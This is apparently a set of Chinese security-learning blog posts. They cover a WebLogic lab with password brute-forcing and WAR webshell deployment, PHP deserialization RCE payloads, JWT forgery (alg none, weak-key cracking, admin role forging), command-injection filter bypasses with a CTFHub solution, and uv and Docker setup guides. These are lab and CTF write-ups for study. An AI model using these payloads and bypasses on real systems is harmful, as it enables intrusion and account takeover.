Kali 攻击机 WeblogicScan扫描器

WeblogicScan项目地址: https://github.com/rabbitmask/WeblogicScan

Vulhub项目地址: https://github.com/vulhub/vulhub

  • 使用Docker一键启动靶场

    docker compose up -d

    docker compose up -d命令会读取当前目录下docker-compose.yml 拉取镜像→创建容器并在后台运行

  • 访问 Weblogic 服务

    此页面为weblogic默认访问页

  • 进入控制后台

    1
    http://10.0.0.10:7001/console/login/LoginForm.jsp # 访问 /console/ 自动跳转至/console/login/LoginForm.jsp

  • 取消用户锁定

    重点: 用户封锁若开启, 爆破密码时系统会锁定 ! (靶场默认为开启状态)

    使用默认账号:密码: weblogic : Oracle@123登录到后台修改配置

    按照上图操作, 关闭用户封锁并重启靶场


03 账户爆破

  • 登录获取数据包

    账户名weblogic, 密码123, (也可随意输入, 主要是为了获取登录数据包)

    将数据包发送至Intruder模块

  • 账户爆破

    案例固定用户名, 只爆破一个字段password(只体现爆破逻辑, 实战更多采用字典爆破)

  • 密码爆破成功

    状态码一致均为302跳转, 通过Length与完整的Response内容差异判断


04 Webshell写入

本质是在Weblogic上部署程序(使用WAR包方式), WAR包制作参考前文WAR包部署章节

  • 基于Weblogic_WAR程序部署流程

    以下图示一站式部署Weblogic程序

  • Webshell地址

    1
    http://10.0.0.10:7001/test/test.jsp

    响应200, 程序可正常访问

  • RCE



1.0 PHP 反序列化

1.1 基础

序列化是将内存中的对象转换为字节序列或字符串的过程, 以便于存储, 传输或在网络传递.

反序列化则是将字节序列或字符串还原为原始对象.

漏洞原理: 反序列化漏洞的本质: 攻击者可控的恶意数据被程序信任并还原为对象, 而程序未对输入进行严格验证.

01 序列化实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 基本类型序列化
echo serialize(null); // N;
echo serialize(10); // i:10;
echo serialize(10.1); // d:10.1;
echo serialize("你好"); // s:6:"你好";
echo serialize("hello"); // s:5:"hello";
echo serialize(false); // b:0;
echo serialize(true); // b:1;
// ----------------------------------------------------------
// 数组
$a = array("Google", "Baidu", "Amazon");
echo serialize($a);
// a:3:{i:0;s:6:"Google";i:1;s:5:"Baidu";i:2;s:6:"Amazon";}
// a == array, 3 == elementx3, i == 编号, s:6 == string:length
// -----------------------------------------------------------
// 对象
class demo{
public $name;
}
echo serialize(new demo());
// O:4:"demo":1:{s:4:"name";N;}
// O == object, 4 == [demo]length, 1 == [类的成员变量数], s:4:"name" == string:length:"value"

02 反序列化实例:

1
2
3
// 对象
var_dump(unserialize('O:4:"demo":1:{s:4:"name";N;}'));
// object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(4) "demo" ["name"]=> NULL }

03 进阶案例

  • 反序列化特性:
    • 反序列化生成的对象, 成员属性值由被反序列化的字符串决定, 与原来类预定义的值无关
    • 反序列化使用unserialize() 将字符串转换为对象, 序列化使用serialize() 将对象转化为字符串
    • 反序列化不触发类的成员方法, 需要调用方法后才能触发

案例1: 修改变量值 [Taobao] → [Baidu]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class main{
var $name = "Taobao";
function var(){
echo $this -> name;
}
}
// 1. 将对象序列化
$ser = serialize(new main());
echo $ser // O:4:"main":1:{s:4:"name";s:6:"Taobao";}
// 2. 思路, 修改序列化之后的字符串对应内容
// O:4:"main":1:{s:4:"name";s:5:"Baidu";}
// 3. 反序列化调用方法
$unser = unserialize('O:4:"main":1:{s:4:"name";s:5:"Baidu";}');
$unser -> var();


案例2: 访问控制

PHP 对象序列化后的字符串

1
O:类名长度:"类名":属性数量:{属性1类型:属性1长度:"属性名";值类型:值长度:"值";...}

每个属性定义为: 数据类型:长度:值

1
2
3
4
5
6
7
8
class main{
public $name = "byron";
protected $sex = "男";
private $age = "18";
}
echo serialize(new main());
// 序列化后的值为:
// O:4:"main":3:{s:4:"name";s:5:"byron";s:6:"*sex";s:3:"男";s:9:"mainage";s:2:"18";}

源码分析: 对于public protected private:

  • public
    • 格式: s:属性长度:"属性名";值类型:值长度:"值";
    • 无前缀和空字节
  • protected
    • 格式:s:属性长度:"\0*\0属性名";值类型:值长度:"值";
    • 属性名前加\0*\0 [空字节][*]
      • 第一个\0表示protected
      • *是字面量星号
      • 第二个\0分隔符
  • private
    • 格式: s:属性长度:"\0类名\0属性名";值类型:值长度:"值";
    • 属性名前加 \0类名\0 即: [空字节] + [所属类名] + [空字节]

注意: 在 URL/HTTP 请求中传递时, 需将空字节写为 %00

如何将byron 改为 by ?

1
2
3
4
5
6
7
8
9
<?php
class main{
public $name = "byron";
protected $sex = "男";
private $age = "18";
function displayVar(){
echo $this -> name;
}
}

01 序列化对象

1
2
3
$obj = new main();
echo serialize($obj);
// O:4:"main":3:{s:4:"name";s:5:"byron";s:6:"*sex";s:3:"男";s:9:"mainage";s:2:"18";}

02 将序列URL编码并修改

1
2
3
4
5
echo urlencode('O:4:"main":3:{s:4:"name";s:5:"byron";s:6:"*sex";s:3:"男";s:9:"mainage";s:2:"18";}');
// 原值
// O%3A4%3A%22main%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22byron%22%3Bs%3A6%3A%22%2Asex%22%3Bs%3A3%3A%22%E7%94%B7%22%3Bs%3A9%3A%22mainage%22%3Bs%3A2%3A%2218%22%3B%7D
// 修改值
// O%3A4%3A%22main%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A2%3A%22by%22%3Bs%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22%E7%94%B7%22%3Bs%3A9%3A%22%00main%00age%22%3Bs%3A2%3A%2218%22%3B%7D
  • 手动修改byron→by 注意: 值长度同步修改
  • *前后分别增加%00 (protected 特性)
  • main前后分别增加%00 (private 特性)

03 反序列化

1
2
$unser = unserialize(urldecode("O%3A4%3A%22main%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A2%3A%22by%22%3Bs%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22%E7%94%B7%22%3Bs%3A9%3A%22%00main%00age%22%3Bs%3A2%3A%2218%22%3B%7D"));
$unser -> displayVar();

成功修改


1.2 反序列化漏洞利用

1
2
3
4
5
6
7
8
9
class demo{
public $a = 'This is string';
public function displayVar(){
eval($this->a);
}
}
$get = $_GET["x"];
$eval = unserialize($get);
$eval -> displayVar();

01 序列化对象

1
2
echo serialize(new demo());
// O:4:"demo":1:{s:1:"a";s:14:"This is string";}

02 代码执行

1
2
3
4
// 1. 构造payload
O:4:"demo":1:{s:1:"a";s:19:"system("ipconfig");";} // 注意同步修改[值长度]
// 2. 命令执行
?x=O:4:"demo":1:{s:1:"a";s:19:"system("ipconfig");";}

如图成功执行命令获取IP


1.3 魔术方法

函数 作用
__construct() 类的构造函数, 创建对象时触发
__destruct() 类的析构函数, 对象被销毁时触发
__sleep() 执行serialize()时, 先调用该方法
__wakeup() 执行unserialize()时, 先调用该方法

Case 1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class demo{
public function __construct(){
echo "Create!";
}
}
$obj = new demo(); // 对象实例化(创建)时自动触发 __construct() 方法
// Create!
// -------------------------------------------------------------
class demo{
public function __construct(){
echo "Create!"."<br/>";
}
}
echo serialize(new demo());
// Create!
// O:4:"demo":0:{}
// 序列化时, __construct() 方法依旧自动触发

Case 2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
class demo{
public function __construct(){
echo "Create!"."<br/>";
}
public function __destruct(){
echo "Remove!";
}
public function testCase(){
echo "Test"."<br/>";
}
}
$obj = new demo();
$obj -> testCase();
// 输出结果为:
// Create!
// Test
// Remove!
// 当对象($obj)不再被调用时, 触发 __destruct() 方法
// -------------------------------------------------------------
class demo{
public function __construct(){
echo "Create!"."<br/>";
}
public function __destruct(){
echo "Remove!";
}
}
var_dump(unserialize('O:4:"demo":0:{}'));
// object(demo)#1 (0) { } Remove!
// 反序列化时, __destruct() 方法触发

Environment: Kali CTFHub

Tools: BurpSuite jwt_tool


1.0 JWT基础

1.1 什么是JWT?

定义:

JWT (JSON Web Token) 是一个开放标准, 定义了一种紧凑且自包含的方式, 用于在各方之间以 JSON 对象的形式安全传输信息. 令牌本身包含了所有必要的用户信息, 服务端无需额外存储会话状态

特点:

  • 紧凑: 体积小, 适合通过URL, POST 参数, HTTP Header 传递
  • 自包含: 携带用户ID, 角色等关键信息, 减少数据库查询
  • 跨域: 天然支持跨域认证, 适合微服务和前后端分离架构

核心应用场景

场景 说明
认证 用户登录后, 后续请求携带 JWT 即可访问受保护资源
信息交换 使用公钥/私钥对签名, 确保发送方身份可信

1.2 JWT 与 Session的区别(为什么需要 JWT?)

传统 Session 认证问题:

  • 服务端需要存储 Session, 分布式环境下需共享存储(如Redis), 增加复杂度
  • 存在单点故障风险
  • 扩展性受限, 新增服务实例需同步认证状态

JWT 的无状态优势:

详见 特点


1.3 JWT 核心结构

一个完整的 JWT 由三部分组成, 用点号分隔 '.'

01 Header (头部)

描述 JWT 的元数据, 是一个 Base64Url 编码的 JSON对象

1
2
3
{
"alg": "HS256", // 签名算法
"typ": "JWT" // 令牌

alg 字段指定签名算法, typ 固定为JWT


02 Payload (荷载)

JWT 的主体内容, 包含需要传递的声明

注册声明(Registered Claims) – 预定义的标准字段

声明 全称 含义
iss Issuer 签发者
exp Expiration Time 过期时间(必须使用Unix时间戳)
sub Subject 主题(通常为用户ID)
aud Audience 受众
nbf Not Before 在此时间之前不可用
iat Issued At 签发时间
jti JWT ID JWT 唯一标识

公共声明(Public Claims) : 自定义字段, 用于传递非敏感信息, 如用户ID, 角色.

私有声明(Private Claims): 双方约定的自定义信息.

重点: Payload 仅 Base64 编码, 不是加密, 任何能拿到Token的人都可解码读取内容.


03 SIgnature (签名)

对 Header 和 Payload 进行签名, 用于验证令牌的完整性和真实性.

HS256 对称签名

1
2
3
4
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)

两种主流签名算法对比:

算法 类型 特点 场景
HS256 对称加密 同一密钥签名和验证, 密钥不能泄露 单一服务端内部使用
RS256 非对称加密 私钥签名, 公钥认证 分布式系统, 第三方验证

1.4 JWT 工作原理

以下 JWT 验证流程图解

流程:

  1. 用户登录: 客户端向服务端发送用户名和密码
  2. 服务器验证: 验证凭据是否正确
  3. 生成 JWT: 使用密钥签名, 编码用户信息(如 ID, Role) 和过期时间
  4. 返回客户端: 将 JWT 返回给客户端
  5. 客户端存储: 通常存储在localStorage或 Cookie中
  6. 携带 JWT 请求: 后续请求在Authorization: Bearer <JWT>Header中携带
  7. 服务器验证: 验证签名和有效期, 通过则允许访问

2.0 JWT 常见漏洞与攻击手法

  • alg: none 攻击

    将 Header 中的alg改为none, 并删除签名. 部分有缺陷的库会直接接受未签名的Token

    • 影响: 完全绕过身份验证, 可伪造任意用户身份

    • 利用: jwt_tool -X a

  • 算法混淆攻击(RS256 → HS256)

    利用非对称加密 (RS256) 和对称加密 (HS256) 的差异, 攻击者获取公钥后, 将其作为 HMAC 的 “密钥” 伪造Token

    原理: 服务端期望 RS256 验证, 但攻击者将算法改为 HS256, 用公钥作为对称密钥签名.

  • 弱密钥爆破

    如果 JWT 使用 HS256 且密钥太弱 , 可用社工字典暴力破解.

  • kid 参数注入

    kid (Key ID) 用于指示服务器使用哪把密钥验证, 若输入过滤不严, 可进行:

    • 路径遍历: ../../dev/null (使服务器使用空密钥)
    • SQL注入: 操纵密钥查询逻辑
  • jku (JWK Set URL) 注入

    jku 告诉服务器去哪里获取公钥, 若服务器未校验该URL, 攻击者可将其指向自己控制的服务器, 用自己生成的密钥伪造Token

  • 信息泄露

    Payload 仅 Base64 编码, 不是加密, 攻击者可轻易解码读取其中的敏感信息


2.1 JWT 漏洞实战

靶场: CTFHub 链接

01 敏感信息泄露

  • 靶场打开后随意输入用户名和密码

  • 获取Token

    • 浏览器开发者工具
    • BurpSuite抓包(本文演示)

    可见是标准的三段式结构 → JWT

  • JWT 解码

    • jwt.io (网页解码)
    • Python
    • jwt_tool(本文演示)
    1
    uv run jwt_too1.py <JWT>

    通过 FL 和 AG 的拼接值即可过关


02 无签名

  • 靶场打开后随意输入用户名和密码

  • 获取Token

  • BurpSuite插件 JWT Editor

    Attack → ‘none’ Signing Algorithm == (手工)”alg”: “none” && 删除JWT第三段SIgnature值

    最终 JWT 格式应为: base64(header).base64(payload).


03 弱密钥

本例采用john增量暴力破解

  • 打开靶场后输入随机用户名和密码

  • 获取登录后的数据包, 找到Token字段

    1
    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IjEiLCJwYXNzd29yZCI6IjEiLCJyb2xlIjoiZ3Vlc3QifQ.XjHFAfHxEoWOhPL1nlGO1zXqwsWHZb9hhZ7Njx31yGU
  • 将Token保存为jwt.txt

  • 使用john

    1
    john --format=HMAC-SHA256 --incremental=Lowernum jwt.txt

    成功破解

  • 伪造新Token并修改权限

    1
    uv run jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IjEiLCJwYXNzd29yZCI6IjEiLCJyb2xlIjoiZ3Vlc3QifQ.XjHFAfHxEoWOhPL1nlGO1zXqwsWHZb9hhZ7Njx31yGU -S hs256 -p "eilh" -I -pc role -pv admin

  • Token提交

    BurpSuite开启拦截抓包, 替换伪造Token, 得到flag


04 修改签名算法

漏洞原理:

服务端使用RS256: 私钥签名, 公钥验证, 但服务端并未写死验证算法, 读取alg字段, 可以将RS256, 修改为HS256, 通过公钥文件当HMAC‑HS256对称密钥校验签名.


Environment: Ubuntu 22.04 Docker

Lab: Vulhub


1.0 靶场搭建

01 官方网址

1
https://vulhub.org/zh

02 仓库克隆

1
2
3
git clone https://github.com/vulhub/vulhub.git
# 临时代理
HTTP_PROXY=http://ip:port HTTPS_PROXY=http://ip:port git clone https://github.com/vulhub/vulhub.git

2.0 靶场下载

案例: CVE-2023-27524

1
/vulhub/superset/CVE-2023-27524

使用docker拉取靶场

1
docker compose up -d

网络问题解决方案:

  • 执行docker compose up -d时, 由于国内网络问题, 导致镜像pull失败, 返回connection reset by peer

  • HTTP 代理

写入以下内容

1
2
3
4
5
/etc/systemd/system/docker.service.d/http-proxy.conf
[Service]
Environment="HTTP_PROXY=http://ip:7897"
Environment="HTTPS_PROXY=http://ip:7897"
Environment="NO_PROXY=localhost,127.0.0.1,10.0.0.0/8"
1
2
3
# 配置重载
sudo systemctl daemon-reload
sudo systemctl restart docker

成功pull image

备注: 配置代理需清空daemon.json第三方镜像源

Environment: Kali Ubuntu Windows


摘要: 本文详细分析当下工具集最优管理链路, 从原理到实战部署, 0到1完整复现

1.0 uv管理Python

1.1 为什么选择uv?

  • 极速: Rust内核, 比传统pip快10倍以上
  • 多版本切换平滑
  • 强隔离性, 项目环境独立
  • 兼容性: 完全兼容pip
  • 跨平台: Linux / macOS / Windows

1.2 uv安装

备注: 以下操作演示均在Linux-Kali

1
2
# On macOS and Linux.
curl -LsSf https://astral.sh/uv/install.sh | sh
1
2
# On Windows.
powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"

网络问题可以考虑代理或二进制安装方式

1
2
# 验证是否正确安装
uv --version


1.3 uv安装python

1
2
3
4
5
6
7
8
9
10
# 查看可用版本
uv python list

# 安装指定版本
uv python install 3.10
# 多版本安装
uv python install 3.10 3.11 3.12 ...

# 查看已安装版本
uv python list --only-installed

1.4 uv中的Python管理

1
2
# Python解释器本体安装位置
/home/kali/.local/share/uv/python/

Python解释器本体默认在该目录

1
2
# 二进制软连接位置
/home/kali/.local/bin/

以上uv主程序和uvx(uv的软连接) 及Python软连接(指向实际解释器位置)


1.5 uv指令集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 基础python模块
uv --version # 查看版本
uv python list # 查看可下载Python版本
uv python list --only-installed # 查看本地已安装好的uv托管Python
uv python install 3.9 3.10 3.12 # 一次性安装多版本
uv python uninstall 3.9 # 卸载某个版本
uv python pin 3.12 # 在项目目录锁定本项目使用Python版本, 生成 => <.python‑version>
uv python show # 查看当前项目锁定的Python版本

# 项目管理模块
uv init # 项目初始化, 生成pyproject.toml
uv venv # 创建虚拟环境(读取 .python‑version, 使用pin锁定的版本)
uv pip list # 列出当前虚拟环境已安装包
uv add requests numpy # 添加依赖(写入pyproject.toml, 同步锁定uv.lock)
uv remove requests # 卸载包
uv sync # 安装pyproject.toml/lock里全部依赖(克隆别人项目用)
uv lock --upgrade # 更新全部依赖到允许的最新版本
uv pip freeze > requirements.txt # 导出依赖requirements.txt
uv pip install -r requirements.txt # 从requirements.txt安装
uv run main.py # 运行程序

1.6 uv实战

案例1:

基于uv部署OneForAll

备注: 该项目非uv构建, 采用requirements.txt文件依赖

01 项目下载

1
git clone https://gitee.com/shmilylty/OneForAll.git

OneForAll 官方推荐 ≤ 3.9, 依赖库 aiodns 在高版本有兼容问题

02 Python版本指定

1
2
# 切换到 OneForAll 工具目录 /home/kali/tools/OneForAll
uv python pin 3.9

此时项目目录下会生成文件.python-version

03 虚拟环境创建

1
2
# 虚拟环境创建
uv venv

04 依赖导入

1
2
uv pip install -r requirements.txt
uv pip list # 查看项目依赖

05 项目运行

1
uv run oneforall.py --target www.xxx.com run

注意: uv运行项目激活虚拟环境非必须

uv run会自动化查找当前目录下.venv并使用解释器, 无需手动激活


案例2:

基于uv部署dirsearch [源码方案]

最新源码包含pyproject.toml可实现快速部署

01 Python版本指定

1
uv python pin 3.14

02 项目构建

1
uv sync

一行命令即可构建整个项目

03 项目运行

1
uv run dirsearch.py -u http://xxx -e*

案例3:

手动项目实战

流程:

  • 本地新建项目test写入main.py

  • 绑定Python版本

    1
    uv python pin 3.9

    指定python版本后自动生成.python-version

  • 项目初始化

    1
    uv init

    生成如上文件(选中部分)

  • 创建虚拟环境

    1
    uv venv
  • 运行main.py

    1
    uv run main.py

  • 验证代码分发流程

    • 删除.venv内容 → 获得源码
    • 对获取的源码执行uv sync → 自动创建虚拟环境和依赖构建(基于pyproject.toml uv.lock)

补充:

  • 虚拟环境
    • 激活: source .venv/bin/activate
    • 关闭: deactivate
    • 运行程序: python xxx.py

2.0 Docker 容器管理

2.1 为什么选择Docker?

  • 环境隔离
  • 轻量
  • 快速
  • 可移植性

2.2 Docker 部署

备注: 以下操作演示均在Linux-Kali, 与Ubuntu部署有细微差距

01 安装依赖

1
2
3
4
5
sudo apt update
sudo apt install -y ca-certificates curl gnupg
# >> ca-certificates: HTTPS 通信所需的 CA 证书包, 没有它 curl 无法验证 SSL
# >> curl: 下载 GPG 密钥和后续操作的网络工具
# >> gnupg: GPG 密钥管理工具, 用于将下载的密钥转换为 apt 可识别的格式

02 创建密钥目录

1
2
3
4
sudo install -m 0755 -d /etc/apt/keyrings
# >> /etc/apt/keyrings/ 是 Debian 12+ 推荐的 GPG 密钥存放目录
# >> -m 0755: 目录权限 rwxr-xr-x (所有者可写, 其他人只读)
# >> -d: 仅创建目录, 不复制文件

03 下载GPG密钥

1
2
3
4
5
6
7
curl -fsSL https://mirrors.aliyun.com/docker-ce/linux/debian/gpg -o /tmp/docker.gpg
# >> -f: 失败时静默退出 (不输出 HTML 错误页面)
# >> -s: 静默模式 (不显示进度条)
# >> -S: 配合 -s 使用, 出错时仍显示错误信息
# >> -L: 跟随 HTTP 重定向
# >> 从阿里云镜像下载 Docker 官方 GPG 公钥 (ASCII armored 格式)
# >> 这个密钥用于验证后续从 Docker 源下载的包是否被篡改

04 转换密钥格式

1
2
3
4
5
6
7
sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg /tmp/docker.gpg
# >> --dearmor: 将 ASCII armored 格式 (.asc) 转换为二进制格式 (.gpg)
# >> apt 只认二进制格式的 GPG 密钥, ASCII 格式会报错
# >> 这是最容易踩坑的一步, 很多人忘了 dearmor 导致 apt update 报
# >> "NO_PUBKEY" 或 "invalid signature" 错误
# >> 输入: /tmp/docker.gpg (ASCII 格式)
# >> 输出: /etc/apt/keyrings/docker.gpg (二进制格式)

05 设置密钥权限

1
2
3
sudo chmod a+r /etc/apt/keyrings/docker.gpg
# >> a+r: 所有用户可读 (apt update 以 _apt 用户身份运行, 需要读权限)
# >> 如果不设置, apt update 会报 "Permission denied" 无法读取密钥

06 临时文件清理

1
2
3
rm -f /tmp/docker.gpg
# >> -f: 文件不存在也不报错
# >> 清理步骤 03 下载的 ASCII 格式临时文件, 已不需要

07 写入Docker镜像源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://mirrors.aliyun.com/docker-ce/linux/debian bookworm stable" | sudo tee /etc/apt/sources.list.d/docker.list

# >> 拆解这条命令:
# >> deb → 二进制包源 (区别于 deb-src 源码包)
# >> [arch=$(dpkg --print-architecture)] → 自动检测 CPU 架构
# >> amd64 / arm64 / armhf 等, 避免在 ARM 设备上拉 x86 包
# >> signed-by=/etc/apt/keyrings/docker.gpg → 指定验证此源的 GPG 密钥
# >> 精确绑定: 只有用这个密钥签名的包才被信任, 防止中间人攻击
# >> https://mirrors.aliyun.com/docker-ce/linux/debian → 阿里云 Docker CE 镜像
# >> bookworm → Debian 12 代号, Kali 基于 Debian, 必须用这个
# >> 不要用 jammy (Ubuntu 22.04) 或 noble (Ubuntu 24.04), 会报 Release file not found
# >> stable → 稳定版通道 (另有 test / nightly 通道)
# >>
# >> | sudo tee ... → 用 tee 写入需要 root 权限的文件
# >> 比 sudo echo "..." > file 更可靠 (后者重定向不受 sudo 保护)

08 验证源

1
2
3
cat /etc/apt/sources.list.d/docker.list
# >> 确认写入内容正确, 应该看到一行 deb 开头的源地址
# >> 如果有拼写错误或换行问题, 后续 apt update 会失败

09 刷新apt缓存

1
2
3
4
5
6
7
sudo apt update
# >> 从新添加的 Docker 源下载包索引
# >> 如果这一步报错, 99% 是以下原因之一:
# >> 1. GPG 密钥未 dearmor (步骤 04)
# >> 2. 密钥权限不对 (步骤 05)
# >> 3. 源地址中的发行版代号错误 (步骤 07)
# >> 4. 网络不通 / 阿里云镜像暂时不可用

10 安装Docker

1
2
3
4
5
6
7
8
sudo apt install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
# >> 五个包的作用:
# >>
# >> docker-ce → Docker 引擎本体 (Community Edition)
# >> docker-ce-cli → Docker 命令行客户端 (docker 命令)
# >> containerd.io → 容器运行时 (Docker 底层实际干活的组件)
# >> docker-buildx-plugin → 多架构镜像构建工具 (docker buildx 命令)
# >> docker-compose-plugin → Compose V2 插件 (docker compose 命令, 空格写法)

11 启动Docker

1
2
3
4
sudo systemctl enable docker    # 开机自启
sudo systemctl start docker # 立即启动
# >> enable: 创建 systemd 软链接, 开机自动启动 docker.service
# >> start: 立即启动 Docker 守护进程 (dockerd)

12 免sudo配置

1
2
3
4
5
sudo usermod -aG docker $USER
# >> -a: append 追加 (不覆盖已有组)
# >> -G docker: 将当前用户加入 docker 组
# >> $USER: 当前登录用户名 (kali)
newgrp docker # 当前终端立即生效

13 配置镜像加速 & 日志限制

1
2
3
4
5
6
7
8
9
10
11
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json << 'EOF'
{
"registry-mirrors": [
"https://docker.xuanyuan.me",
"https://docker.m.daocloud.io"
],
"log-driver": "json-file",
"log-opts": { "max-size": "100m", "max-file": "3" }
}
EOF

14 重启生效

1
2
sudo systemctl daemon-reload    # 重载 systemd 配置
sudo systemctl restart docker # 重启 Docker 使 daemon.json 生效

15 验证

1
2
3
docker version                  # 查看 Client + Server 版本信息
docker compose version # 确认 Compose V2 插件已安装
docker run --rm hello-world # 拉取并运行测试容器, --rm 运行完自动删除

2.3 关键配置文件详解

/etc/docker/daemon.json

1
2
3
4
5
6
7
8
{
"registry-mirrors": [ // 镜像加速
"https://docker.xuanyuan.me", // 加速地址1
"https://docker.m.daocloud.io" // 加速地址2(备用)
],
"log-driver": "json-file", // 日志驱动
"log-opts": { "max-size": "100m", "max-file": "3" }// 单个文件最大 100MB, 最多3个
}
1
docker info  # 查看生效配置

2.4 Docker使用

1.0 镜像管理
1
2
3
4
docker pull 镜像作者/镜像名:版本  # 镜像下载
docker pull 镜像名 # 镜像下载简化版(默认下载官方)
docker images # 列出本地镜像
Docker rmi 镜像ID # 删除镜像
2.0 容器管理
  • 容器查看

    1
    2
    docker ps                      # 查看运行中的容器
    docker ps -a # 查看所有容器
  • 容器创建

    docker run

    • -d 后台运行

    • -p 80:80 端口映射(宿主机:容器端口)

    • –name xx (容器名)

    • 案例

      1
      docker run -d -p 80:80 --name mydvwa vulnerables/web-dvwa

      vulnerables/web-dvwa 镜像名 | 也可使用镜像ID

  • 容器停止

    1
    docker stop 容器ID
  • 容器启动

    1
    docker start 容器ID
  • 容器删除

    1
    2
    docker rm 容器ID
    docker rm -f 容器ID # 强制删除
  • 进入容器

    docker exec

    • -i 交互式

    • -t 终端分配

    • /bin/bash (/bin/bash 解释器启动)

    • 案例

      1
      docker exec -it f6e351f39c79 /bin/bash
  • 容器日志查看

    1
    2
    docker logs 容器ID
    docker logs -f 容器ID # 实时跟踪
  • 多容器启动

    docker-compose up

    • -d 根据docker compose.yml启动整套环境
    • docker compose down关闭并移除整套环境

Environment: PHP 7.3.4 + Apache + MySQL 5.7.26

Lab: Pikachu DVWA CTFHub

1.0 RCE

1.1 基础

  • 定义: RCE(Remote Code Execution 远程代码执行) 是指攻击者能够在目标服务器上远程执行任意代码或系统命令的漏洞. 它是 Web 安全中危害等级最高的漏洞类型之一, 一旦利用成功, 攻击者可直接获取服务器权限(GetShell), 进而窃取数据, 植入后门, 横向渗透甚至控制整个内网
  • 核心原理: 用户可控的数据, 未经充分过滤/转义, 被拼接进了代码或命令的执行上下文中

1.2 相关函数

  • 命令command注入
函数 作用
system() 执行外部程序并显示
exec()
shell_exec()
通过shell环境执行命令, 并将完整的输出以字符串方式返回
pcntl_exec() 在当前进程空间执行指定程序
passthru() 执行外部程序并显示原始输出
popen() 打开进程文件指针
proc_open() 执行一个命令, 并打开用来input/output的文件指针
  • 代码code注入
函数 作用
eval() 把字符串code作为php代码执行
assert 检查一个断言是否为false
preg replace() 执行一个正则表达式的搜索和替换
create function() 创建一个匿名函数并且返回函数名创
call userfunc()
caIl_user func array()
把第一个参数作为回调函数调用
usort()
uasort()
使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
  • Windows命令拼接符号
符号 作用
&& 左边执行成功, 才执行右边
& 拼接
| 管道符(前一条输出当后一条输入)
|| 左边执行失败, 才执行右边
%0a URL 编码的换行, 也能分隔命令
  • Linux命令拼接符号
符号 作用
; 连接符
&& 左边执行成功, 才执行右边
| 管道(前一条输出当后一条输入)
|| 左边执行失败, 才执行右边
& 任务后台执行, 类似nohup
%0a URL 编码的换行, 也能分隔命令

1.3 过滤绕过

  • 空格

    1
    2
    cat${IFS}/flag  # ${IFS} 是内部字段分隔符(默认含空格/Tab/换行)
    {cat,/flag} # 花括号扩展,逗号代替空格
  • cat

    1
    2
    3
    4
    ca''t /flag             # 空字符串拼接, ca''t 还是 cat
    ca\t /flag # 反斜杠转义
    c?a? /f??? # ? 匹配单字符, * 匹配任意 → c?t /f*
    more/less/head/tail/nl
  • flag

    1
    2
    cat /f*                 # * 通配
    cat /fla? # ? 通配
  • ; | &

    1
    2
    127.0.0.1%0acat /flag   # URL [换行]编码换行符 %0a 代替 ;
    127.0.0.1%0dcat /flag # %0d [回车]
  • Base64编码

1
2
3
echo -n "cat flag" | base64  # -n必须加否则会自带 \n换行, 实际解码内容溢出
# 此时输出一个编码
echo 编码 | base64 -d | sh # 解码并执行

2.0 实战

CTFHub-RCE(综合过滤)

  • 源码分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
  • 后端做校验对”\|&;/ cat flag ctfhub”等关键字都做了过滤
  • 这里使用等价替换的方式进行绕过

01 探测当前目录结构

1
127.0.0.1%0als

回显目标目录flag_is_here

02 查看目标目录结构

1
127.0.0.1%0als${IFS}f*_is_here

该文件存放通关代码, 想办法读取

03 获取文件内容

1
127.0.0.1%0acd${IFS}f*_is_here%0aless${IFS}f*_10040951432284.php

打开网页源代码即可获取到通关代码, 输入即可通关本关

0%